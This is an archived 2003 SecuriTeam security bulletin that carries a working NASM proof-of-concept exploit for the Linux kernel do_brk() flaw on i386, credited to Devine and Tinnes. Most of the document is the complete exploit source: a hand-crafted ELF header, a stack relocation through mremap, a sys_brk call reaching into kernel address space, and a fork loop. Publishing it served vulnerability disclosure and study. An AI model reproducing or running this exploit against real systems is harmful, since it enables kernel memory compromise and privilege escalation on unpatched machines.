

[EXPL] Linux Kernel Do_brk(), Another Proof-of-Concept Code For I386

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-12/0021.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 12/07/03

To: list@securiteam.com

Date: 7 Dec 2003 10:39:39 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Linux Kernel Do_brk(), Another Proof-of-Concept Code For I386

SUMMARY

The previous version of the <http://www.securiteam.com/exploits/6A0000U96C.html> exploit was relying on the Linux ELF loader to call do_brk for us. This one uses sys_brk(), but to bypass a check of available memory in sys_brk we still have to map our code high in memory (but not past PAGE_OFFSET this time).

To be able to call sys_brk successfully we need to make sure that the stack isn't above our program (in most cases we have to move it).

DETAILS

Exploit:

; Use NASM 0.98.38 or higher to compile.

; Christophe Devine (devine at cr0.net) and Julien Tinnes (julien at cr0.org)

;

; This exploit uses sys_brk directly to expand his break and doesn't rely on the ELF loader to do it.

;

Securiteam: [EXPL] Linux Kernel Do_brk(), Another Proof-of-Concept Code For I386

```
; To bypass a check in sys_brk against available memory, we use a high  
; virtual address as base address  
;  
; In most case (let's say when no PaX w/ ASLR :) we have to move the stack  
; so that we can expand our break  
;
```

BITS 32

```
org 0xBFFF0000
```

```
ehdr: ; Elf32_Ehdr  
  db 0x7F, "ELF", 1, 1, 1 ; e_ident  
  times 9 db 0  
  dw 2 ; e_type  
  dw 3 ; e_machine  
  dd 1 ; e_version  
  dd _start ; e_entry  
  dd phdr - $$ ; e_phoff  
  dd 0 ; e_shoff  
  dd 0 ; e_flags  
  dw ehdrsize ; e_ehsize  
  dw phdrsize ; e_phentsize  
  dw 2 ; e_phnum  
  dw 0 ; e_shentsize  
  dw 0 ; e_shnum  
  dw 0 ; e_shstrndx
```

```
ehdrsize equ $ - ehdr
```

```
phdr: ; Elf32_Phdr  
  dd 1 ; p_type  
  dd 0 ; p_offset  
  dd $$ ; p_vaddr  
  dd $$ ; p_paddr  
  dd filesize ; p_filesz  
  dd filesize ; p_memsz  
  dd 7 ; p_flags  
  dd 0x1000 ; p_align
```

```
phdrsize equ $ - phdr
```

```
_start:
```

```
; ** Make sure the stack is not above us
```

```
mov eax, 163 ; mremap  
mov ebx, esp
```

```
and ebx, ~(0x1000 - 1) ; align to page size
```

Securiteam: [EXPL] Linux Kernel Do_brk(), Another Proof-of-Concept Code For I386

```
mov ecx, 0x1000 ; we suppose stack is one page only
mov edx, 0x9000 ; be sure it can't get mapped after
; us
mov esi, 1 ; MREMAP_MAYMOVE
int 0x80
```

```
and esp, (0x1000 - 1) ; offset in page
add esp, eax ; stack ptr to new location
; nb: we don't fix
; pointers so environ/cmdline
; are not available
```

```
mov eax, 152 ; mlockall (for tests as root)
mov ebx, 2 ; MCL_FUTURE
int 0x80
```

```
; get VMAs for the kernel memory
```

```
mov eax, 45 ; brk
mov ebx, 0xC0500000
int 0x80
```

```
mov ecx, 4
loop0:
```

```
mov eax, 2 ; fork
int 0x80
loop loop0
```

```
_idle:
```

```
mov eax, 162 ; nanosleep
mov ebx, timespec
int 0x80
```

```
jmp _idle
```

```
timespec dd 10,0
```

```
filesize equ $ - $$
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:julien@cr0.org>> Julien TINNES

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:

[EXPL] Linux Kernel Do_brk(), Another Proof-of-Concept Code For I386

Securiteam: [EXPL] Linux Kernel Do_brk(), Another Proof-of-Concept Code For I386

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.